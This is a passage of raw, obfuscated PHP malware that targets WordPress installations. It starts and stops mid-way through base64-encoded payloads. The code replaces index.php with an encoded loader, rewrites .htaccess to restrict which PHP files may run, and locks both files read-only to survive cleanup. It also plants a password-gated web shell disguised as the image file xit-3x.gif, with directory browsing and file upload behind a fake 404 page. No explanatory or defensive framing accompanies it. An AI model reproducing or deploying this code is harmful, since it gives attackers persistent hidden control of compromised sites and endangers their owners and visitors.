iRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnP